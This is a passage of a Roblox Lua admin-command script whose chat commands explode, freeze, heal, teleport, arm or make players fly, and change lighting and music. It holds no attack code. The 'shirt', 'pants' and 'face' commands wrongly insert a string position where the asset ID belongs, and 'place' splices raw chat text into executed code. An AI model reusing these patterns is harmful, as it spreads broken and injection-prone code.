  959. for a, obj in pairs(v.Character:children()) do
  960. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  961. end
  962. end
  963. end))
  964. end
  965. end
  966.  
  967. if msg:lower():sub(1,5) == "lock " then
  968. local plrz = GetPlr(plr, msg:lower():sub(6))
  969. for i, v in pairs(plrz) do
  970. coroutine.resume(coroutine.create(function()
  971. if v and v.Character then
  972. for a, obj in pairs(v.Character:children()) do
  973. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  974. end
  975. end
  976. end))
  977. end
  978. end
  979.  
  980. if msg:lower():sub(1,7) == "unlock " then
  981. local plrz = GetPlr(plr, msg:lower():sub(8))
  982. for i, v in pairs(plrz) do
  983. coroutine.resume(coroutine.create(function()
  984. if v and v.Character then
  985. for a, obj in pairs(v.Character:children()) do
  986. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  987. end
  988. end
  989. end))
  990. end
  991. end
  992.  
  993. if msg:lower():sub(1,8) == "explode " then
  994. local plrz = GetPlr(plr, msg:lower():sub(9))
  995. for i, v in pairs(plrz) do
  996. coroutine.resume(coroutine.create(function()
  997. if v and v.Character and v.Character:findFirstChild("Torso") then
  998. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  999. end
  1000. end))
  1001. end
  1002. end
  1003.  
  1004. if msg:lower():sub(1,4) == "age " then
  1005. local plrz = GetPlr(plr, msg:lower():sub(5))
  1006. for i, v in pairs(plrz) do
  1007. coroutine.resume(coroutine.create(function()
  1008. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1009. end))
  1010. end
  1011. end
  1012.  
  1013. if msg:lower():sub(1,5) == "fire " then
  1014. local plrz = GetPlr(plr, msg:lower():sub(6))
  1015. for i, v in pairs(plrz) do
  1016. coroutine.resume(coroutine.create(function()
  1017. if v and v.Character and v.Character:findFirstChild("Torso") then
  1018. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1019. end
  1020. end))
  1021. end
  1022. end
  1023.  
  1024. if msg:lower():sub(1,7) == "unfire " then
  1025. local plrz = GetPlr(plr, msg:lower():sub(8))
  1026. for i, v in pairs(plrz) do
  1027. coroutine.resume(coroutine.create(function()
  1028. if v and v.Character and v.Character:findFirstChild("Torso") then
  1029. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1030. end
  1031. end))
  1032. end
  1033. end
  1034.  
  1035. if msg:lower():sub(1,6) == "smoke " then
  1036. local plrz = GetPlr(plr, msg:lower():sub(7))
  1037. for i, v in pairs(plrz) do
  1038. coroutine.resume(coroutine.create(function()
  1039. if v and v.Character and v.Character:findFirstChild("Torso") then
  1040. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1041. end
  1042. end))
  1043. end
  1044. end
  1045.  
  1046. if msg:lower():sub(1,8) == "unsmoke " then
  1047. local plrz = GetPlr(plr, msg:lower():sub(9))
  1048. for i, v in pairs(plrz) do
  1049. coroutine.resume(coroutine.create(function()
  1050. if v and v.Character and v.Character:findFirstChild("Torso") then
  1051. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1052. end
  1053. end))
  1054. end
  1055. end
  1056.  
  1057. if msg:lower():sub(1,9) == "sparkles " then
  1058. local plrz = GetPlr(plr, msg:lower():sub(10))
  1059. for i, v in pairs(plrz) do
  1060. coroutine.resume(coroutine.create(function()
  1061. if v and v.Character and v.Character:findFirstChild("Torso") then
  1062. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1063. end
  1064. end))
  1065. end
  1066. end
  1067.  
  1068. if msg:lower():sub(1,11) == "unsparkles " then
  1069. local plrz = GetPlr(plr, msg:lower():sub(12))
  1070. for i, v in pairs(plrz) do
  1071. coroutine.resume(coroutine.create(function()
  1072. if v and v.Character and v.Character:findFirstChild("Torso") then
  1073. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1074. end
  1075. end))
  1076. end
  1077. end
  1078.  
  1079. if msg:lower():sub(1,3) == "ff " then
  1080. local plrz = GetPlr(plr, msg:lower():sub(4))
  1081. for i, v in pairs(plrz) do
  1082. coroutine.resume(coroutine.create(function()
  1083. if v and v.Character then Instance.new("ForceField", v.Character) end
  1084. end))
  1085. end
  1086. end
  1087.  
  1088. if msg:lower():sub(1,5) == "unff " then
  1089. local plrz = GetPlr(plr, msg:lower():sub(6))
  1090. for i, v in pairs(plrz) do
  1091. coroutine.resume(coroutine.create(function()
  1092. if v and v.Character then
  1093. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1094. end
  1095. end))
  1096. end
  1097. end
  1098.  
  1099. if msg:lower():sub(1,7) == "punish " then
  1100. local plrz = GetPlr(plr, msg:lower():sub(8))
  1101. for i, v in pairs(plrz) do
  1102. coroutine.resume(coroutine.create(function()
  1103. if v and v.Character then
  1104. v.Character.Parent = game:service("Lighting")
  1105. end
  1106. end))
  1107. end
  1108. end
  1109.  
  1110. if msg:lower():sub(1,9) == "unpunish " then
  1111. local plrz = GetPlr(plr, msg:lower():sub(10))
  1112. for i, v in pairs(plrz) do
  1113. coroutine.resume(coroutine.create(function()
  1114. if v and v.Character then
  1115. v.Character.Parent = game:service("Workspace")
  1116. v.Character:MakeJoints()
  1117. end
  1118. end))
  1119. end
  1120. end
  1121.  
  1122. if msg:lower():sub(1,7) == "freeze " then
  1123. local plrz = GetPlr(plr, msg:lower():sub(8))
  1124. for i, v in pairs(plrz) do
  1125. coroutine.resume(coroutine.create(function()
  1126. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1127. for a, obj in pairs(v.Character:children()) do
  1128. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1129. end
  1130. end
  1131. end))
  1132. end
  1133. end
  1134.  
  1135. if msg:lower():sub(1,5) == "thaw " then
  1136. local plrz = GetPlr(plr, msg:lower():sub(6))
  1137. for i, v in pairs(plrz) do
  1138. coroutine.resume(coroutine.create(function()
  1139. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1140. for a, obj in pairs(v.Character:children()) do
  1141. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1142. end
  1143. end
  1144. end))
  1145. end
  1146. end
  1147.  
  1148. if msg:lower():sub(1,5) == "heal " then
  1149. local plrz = GetPlr(plr, msg:lower():sub(6))
  1150. for i, v in pairs(plrz) do
  1151. coroutine.resume(coroutine.create(function()
  1152. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1153. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1154. end
  1155. end))
  1156. end
  1157. end
  1158.  
  1159. if msg:lower():sub(1,4) == "god " then
  1160. local plrz = GetPlr(plr, msg:lower():sub(5))
  1161. for i, v in pairs(plrz) do
  1162. coroutine.resume(coroutine.create(function()
  1163. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1164. v.Character.Humanoid.MaxHealth = math.huge
  1165. v.Character.Humanoid.Health = 9e9
  1166. end
  1167. end))
  1168. end
  1169. end
  1170.  
  1171. if msg:lower():sub(1,6) == "ungod " then
  1172. local plrz = GetPlr(plr, msg:lower():sub(7))
  1173. for i, v in pairs(plrz) do
  1174. coroutine.resume(coroutine.create(function()
  1175. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1176. v.Character.Humanoid.MaxHealth = 100
  1177. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1178. end
  1179. end))
  1180. end
  1181. end
  1182.  
  1183. if msg:lower():sub(1,8) == "ambient " then
  1184. local chk1 = msg:lower():sub(9):find(" ") + 8
  1185. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1186. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1187. end
  1188.  
  1189. if msg:lower():sub(1,11) == "brightness " then
  1190. game.Lighting.Brightness = msg:sub(12)
  1191. end
  1192.  
  1193. if msg:lower():sub(1,5) == "time " then
  1194. game.Lighting.TimeOfDay = msg:sub(6)
  1195. end
  1196.  
  1197. if msg:lower():sub(1,9) == "fogcolor " then
  1198. local chk1 = msg:lower():sub(10):find(" ") + 9
  1199. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1200. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1201. end
  1202.  
  1203. if msg:lower():sub(1,7) == "fogend " then
  1204. game.Lighting.FogEnd = msg:sub(8)
  1205. end
  1206.  
  1207. if msg:lower():sub(1,9) == "fogstart " then
  1208. game.Lighting.FogStart = msg:sub(10)
  1209. end
  1210.  
  1211. if msg:lower():sub(1,7) == "btools " then
  1212. local plrz = GetPlr(plr, msg:lower():sub(8))
  1213. for i, v in pairs(plrz) do
  1214. coroutine.resume(coroutine.create(function()
  1215. if v and v:findFirstChild("Backpack") then
  1216. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1217. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1218. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1219. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1220. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1221. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1222. local sb
  1223. local hs
  1224. local pdist
  1225.  
  1226. script.Parent.Selected:connect(function(mouse)
  1227. if not mouse then return end
  1228. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1229. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1230. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1231. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1232. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1233. end)
  1234.  
  1235. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1236. end
  1237. end))
  1238. end
  1239. end
  1240.  
  1241. if msg:lower():sub(1,12) == "startergive " then
  1242. local chk1 = msg:lower():sub(13):find(" ") + 12
  1243. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1244. for i, v in pairs(plrz) do
  1245. coroutine.resume(coroutine.create(function()
  1246. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1247. for a, tool in pairs(game.Lighting:children()) do
  1248. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1249. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1250. end
  1251. end
  1252. end
  1253. end))
  1254. end
  1255. end
  1256.  
  1257. if msg:lower():sub(1,5) == "give " then
  1258. local chk1 = msg:lower():sub(6):find(" ") + 5
  1259. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1260. for i, v in pairs(plrz) do
  1261. coroutine.resume(coroutine.create(function()
  1262. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1263. for a, tool in pairs(game.Lighting:children()) do
  1264. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1265. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1266. end
  1267. end
  1268. end
  1269. end))
  1270. end
  1271. end
  1272.  
  1273. if msg:lower():sub(1,12) == "removetools " then
  1274. local plrz = GetPlr(plr, msg:lower():sub(13))
  1275. for i, v in pairs(plrz) do
  1276. coroutine.resume(coroutine.create(function()
  1277. if v and v.Character and v:findFirstChild("Backpack") then
  1278. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1279. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1280. end
  1281. end))
  1282. end
  1283. end
  1284.  
  1285. if msg:lower():sub(1,5) == "rank " then
  1286. local chk1 = msg:lower():sub(6):find(" ") + 5
  1287. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1288. for i, v in pairs(plrz) do
  1289. coroutine.resume(coroutine.create(function()
  1290. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1291. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1292. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1293. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1294. end
  1295. end))
  1296. end
  1297. end
  1298.  
  1299. if msg:lower():sub(1,7) == "damage " then
  1300. local chk1 = msg:lower():sub(8):find(" ") + 7
  1301. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1302. for i, v in pairs(plrz) do
  1303. coroutine.resume(coroutine.create(function()
  1304. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1305. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1306. end
  1307. end))
  1308. end
  1309. end
  1310.  
  1311. if msg:lower():sub(1,5) == "grav " then
  1312. local plrz = GetPlr(plr, msg:lower():sub(6))
  1313. for i, v in pairs(plrz) do
  1314. coroutine.resume(coroutine.create(function()
  1315. if v and v.Character and v.Character:findFirstChild("Torso") then
  1316. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1317. end
  1318. end))
  1319. end
  1320. end
  1321.  
  1322. if msg:lower():sub(1,8) == "setgrav " then
  1323. local chk1 = msg:lower():sub(9):find(" ") + 8
  1324. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1325. for i, v in pairs(plrz) do
  1326. coroutine.resume(coroutine.create(function()
  1327. if v and v.Character and v.Character:findFirstChild("Torso") then
  1328. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1329. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1330. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1331. end
  1332. end))
  1333. end
  1334. end
  1335.  
  1336. if msg:lower():sub(1,7) == "nograv " then
  1337. local plrz = GetPlr(plr, msg:lower():sub(8))
  1338. for i, v in pairs(plrz) do
  1339. coroutine.resume(coroutine.create(function()
  1340. if v and v.Character and v.Character:findFirstChild("Torso") then
  1341. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1342. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1343. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1344. end
  1345. end))
  1346. end
  1347. end
  1348.  
  1349. if msg:lower():sub(1,7) == "health " then
  1350. local chk1 = msg:lower():sub(8):find(" ") + 7
  1351. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1352. for i, v in pairs(plrz) do
  1353. coroutine.resume(coroutine.create(function()
  1354. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1355. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1356. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1357. end
  1358. end))
  1359. end
  1360. end
  1361.  
  1362. if msg:lower():sub(1,6) == "speed " then
  1363. local chk1 = msg:lower():sub(7):find(" ") + 6
  1364. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1365. for i, v in pairs(plrz) do
  1366. coroutine.resume(coroutine.create(function()
  1367. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1368. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1369. end
  1370. end))
  1371. end
  1372. end
  1373.  
  1374. if msg:lower():sub(1,5) == "team " then
  1375. local chk1 = msg:lower():sub(6):find(" ") + 5
  1376. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1377. for i, v in pairs(plrz) do
  1378. coroutine.resume(coroutine.create(function()
  1379. if v and game:findFirstChild("Teams") then
  1380. for a, tm in pairs(game.Teams:children()) do
  1381. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1382. end
  1383. end
  1384. end))
  1385. end
  1386. end
  1387.  
  1388. if msg:lower():sub(1,6) == "place " then
  1389. local chk1 = msg:lower():sub(7):find(" ") + 6
  1390. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1391. for i, v in pairs(plrz) do
  1392. coroutine.resume(coroutine.create(function()
  1393. if v and v:findFirstChild("PlayerGui") then
  1394. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1395. end
  1396. end))
  1397. end
  1398. end
  1399.  
  1400. if msg:lower():sub(1,3) == "tp " then
  1401. local chk1 = msg:lower():sub(4):find(" ") + 3
  1402. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1403. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1404. for i, v in pairs(plrz) do
  1405. coroutine.resume(coroutine.create(function()
  1406. for i2, v2 in pairs(plrz2) do
  1407. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1408. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1409. end
  1410. end
  1411. end))
  1412. end
  1413. end
  1414.  
  1415. if msg:lower():sub(1,7) == "change " then
  1416. local chk1 = msg:lower():sub(8):find(" ") + 7
  1417. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1418. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1419. for i, v in pairs(plrz) do
  1420. coroutine.resume(coroutine.create(function()
  1421. if v and v:findFirstChild("leaderstats") then
  1422. for a, st in pairs(v.leaderstats:children()) do
  1423. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1424. end
  1425. end
  1426. end))
  1427. end
  1428. end
  1429.  
  1430. if msg:lower():sub(1,6) == "shirt " then
  1431. local chk1 = msg:lower():sub(7):find(" ") + 6
  1432. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1433. for i, v in pairs(plrz) do
  1434. coroutine.resume(coroutine.create(function()
  1435. if v and v.Character then
  1436. for i,v in pairs(v.Character:children()) do
  1437. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1438. end
  1439. end
  1440. end))
  1441. end
  1442. end
  1443.  
  1444. if msg:lower():sub(1,6) == "pants " then
  1445. local chk1 = msg:lower():sub(7):find(" ") + 6
  1446. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1447. for i, v in pairs(plrz) do
  1448. coroutine.resume(coroutine.create(function()
  1449. if v and v.Character then
  1450. for i,v in pairs(v.Character:children()) do
  1451. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1452. end
  1453. end
  1454. end))
  1455. end
  1456. end
  1457.  
  1458. if msg:lower():sub(1,5) == "face " then
  1459. local chk1 = msg:lower():sub(6):find(" ") + 5
  1460. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1461. for i, v in pairs(plrz) do
  1462. coroutine.resume(coroutine.create(function()
  1463. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1464. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1465. end
  1466. end))
  1467. end
  1468. end
  1469.  
  1470. ---------------------
  1471. -- FunCommands --
  1472. ---------------------
  1473. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1474.  
  1475. if msg:lower():sub(1,8) == "swagify " then
  1476. local plrz = GetPlr(plr, msg:lower():sub(9))
  1477. for i, v in pairs(plrz) do
  1478. coroutine.resume(coroutine.create(function()
  1479. if v and v.Character then
  1480. for i,v in pairs(v.Character:children()) do
  1481. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1482. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1483. end
  1484. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1485. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1486. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1487. local torso = plr.Character.Torso
  1488. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1489. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1490. p.Size = Vector3.new(.2,.2,.2)
  1491. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1492. local motor1 = Instance.new("Motor", p)
  1493. motor1.Part0 = p
  1494. motor1.Part1 = torso
  1495. motor1.MaxVelocity = .01
  1496. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1497. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1498. local wave = false
  1499. repeat wait(1/44)
  1500. local ang = 0.1
  1501. local oldmag = torso.Velocity.magnitude
  1502. local mv = .002
  1503. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1504. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1505. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1506. motor1.DesiredAngle = -ang
  1507. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1508. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1509. if torso.Velocity.magnitude < .1 then wait(.1) end
  1510. until not p or p.Parent ~= torso.Parent
  1511. script:Destroy()
  1512. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1513. end
  1514. end))
  1515. end
  1516. end
  1517.  
  1518. if msg:lower():sub(1,6) == "music " then
  1519. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1520. local id = msg:sub(7)
  1521. local pitch = 1
  1522. if tostring(id):lower():find("caramell") then id = 2303479 end
  1523. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1524. if tostring(id):find("rick") then id = 2027611 end
  1525. if tostring(id):find("halo") then id = 1034065 end
  1526. if tostring(id):find("pokemon") then id = 1372261 end
  1527. if tostring(id):find("cursed") then id = 1372257 end
  1528. if tostring(id):find("extreme") then id = 11420933 end
  1529. if tostring(id):find("awaken") then id = 27697277 end
  1530. if tostring(id):find("alone") then id = 27697392 end
  1531. if tostring(id):find("mario") then id = 1280470 end
  1532. if tostring(id):find("choir") then id = 1372258 end
  1533. if tostring(id):find("chrono") then id = 1280463 end
  1534. if tostring(id):find("dotr") then id = 11420922 end
  1535. if tostring(id):find("entertain") then id = 27697267 end
  1536. if tostring(id):find("fantasy") then id = 1280473 end
  1537. if tostring(id):find("final") then id = 1280414 end
  1538. if tostring(id):find("emblem") then id = 1372259 end
  1539. if tostring(id):find("flight") then id = 27697719 end
  1540. if tostring(id):find("banjo") then id = 27697298 end
  1541. if tostring(id):find("gothic") then id = 27697743 end
  1542. if tostring(id):find("hiphop") then id = 27697735 end
  1543. if tostring(id):find("intro") then id = 27697707 end
  1544. if tostring(id):find("mule") then id = 1077604 end
  1545. if tostring(id):find("film") then id = 27697713 end
  1546. if tostring(id):find("nezz") then id = 8610025 end
  1547. if tostring(id):find("angel") then id = 1372260 end
  1548. if tostring(id):find("resist") then id = 27697234 end
  1549. if tostring(id):find("schala") then id = 5985787 end
  1550. if tostring(id):find("organ") then id = 11231513 end
  1551. if tostring(id):find("tunnel") then id = 9650822 end
  1552. if tostring(id):find("spanish") then id = 5982975 end
  1553. if tostring(id):find("venom") then id = 1372262 end
  1554. if tostring(id):find("wind") then id = 1015394 end
  1555. if tostring(id):find("guitar") then id = 5986151 end
  1556. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1557. end
  1558.  
  1559. if msg:lower() == "stopmusic" then
  1560. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1561. end
  1562.  
  1563. if msg:lower() == "musiclist" then
  1564. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1565. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1566. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1567. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1568. end
  1569.  
  1570. if msg:lower():sub(1,4) == "fly " then
  1571. local plrz = GetPlr(plr, msg:lower():sub(5))
  1572. for i, v in pairs(plrz) do
  1573. coroutine.resume(coroutine.create(function()
  1574. if v and v:findFirstChild("PlayerGui") then
  1575. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1576. local mouse = game.Players.LocalPlayer:GetMouse()
  1577. repeat wait() until mouse
  1578. local plr = game.Players.LocalPlayer
  1579. local torso = plr.Character.Torso
  1580. local flying = true
  1581. local deb = true
  1582. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1583. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1584. local maxspeed = 50
  1585. local speed = 0
  1586. function Fly()
  1587. local bg = Instance.new("BodyGyro", torso)
  1588. bg.P = 9e4
  1589. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1590. bg.cframe = torso.CFrame
  1591. local bv = Instance.new("BodyVelocity", torso)
  1592. bv.velocity = Vector3.new(0,0.1,0)
  1593. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1594. repeat wait()
  1595. plr.Character.Humanoid.PlatformStand = true
  1596. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1597. speed = speed+.5+(speed/maxspeed)
  1598. if speed > maxspeed then
  1599. speed = maxspeed
  1600. end
  1601. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1602. speed = speed-1
  1603. if speed < 0 then
  1604. speed = 0
  1605. end
  1606. end
  1607. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1608. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1609. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1610. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
